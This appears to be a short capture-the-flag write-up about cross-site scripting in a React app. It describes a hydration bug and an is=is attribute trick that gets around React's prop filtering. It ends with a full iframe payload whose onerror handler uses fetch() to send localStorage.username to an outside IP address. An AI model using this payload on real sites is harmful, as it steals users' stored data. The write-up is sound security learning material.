Exploiting a react app by customElement and is=is pollution
- There is a bug with the hydration, so we can pollute prop of the
<img>tag. - Error message is triggered when the
window.width < 600. Interestingly,location.hashfills thepropsupon displaying the error message. - When the error message is shown and you try to resize your
window.width > 600,<img>is shown again. - Since there is a dehydration bug, prop gets filled with the existing
location.hash, making it possible to add additional attributes on the<img>tag. - However,
onerrorand other dangerous attributes are filtered by React, we need to find a way to bypass props check. - Here comes the way to exploit
- is="is" on the props bypasses the customElement checks
- so we use that and use onerror to leak
localStorage.username, which contains the flag
- The last remaining problem is about setting the size of the
window.widthof the cross-origin frame. Because the server is not in the same origin (http://localhost:4000/ != http://stypr.com/), we cannot just modify this information by javascript.- So we use <iframe> tag and change CSS to force the resize
localStorageis not under the cookie's security scope, so there's no problem about leaking information from the localStorage.
- So we use <iframe> tag and change CSS to force the resize
<iframe src="http://localhost:4000/drawing/test#width=123&height=123&is=is&onerror=fetch(`http://158.101.144.10/xss?${btoa(localStorage.username)}`);&src=http://158.101.144.10/error.png" style="width:300px;" id="exploit"></iframe>
<script>
setTimeout(() => {
exploit.style.width=800;
}, 1000);
</script>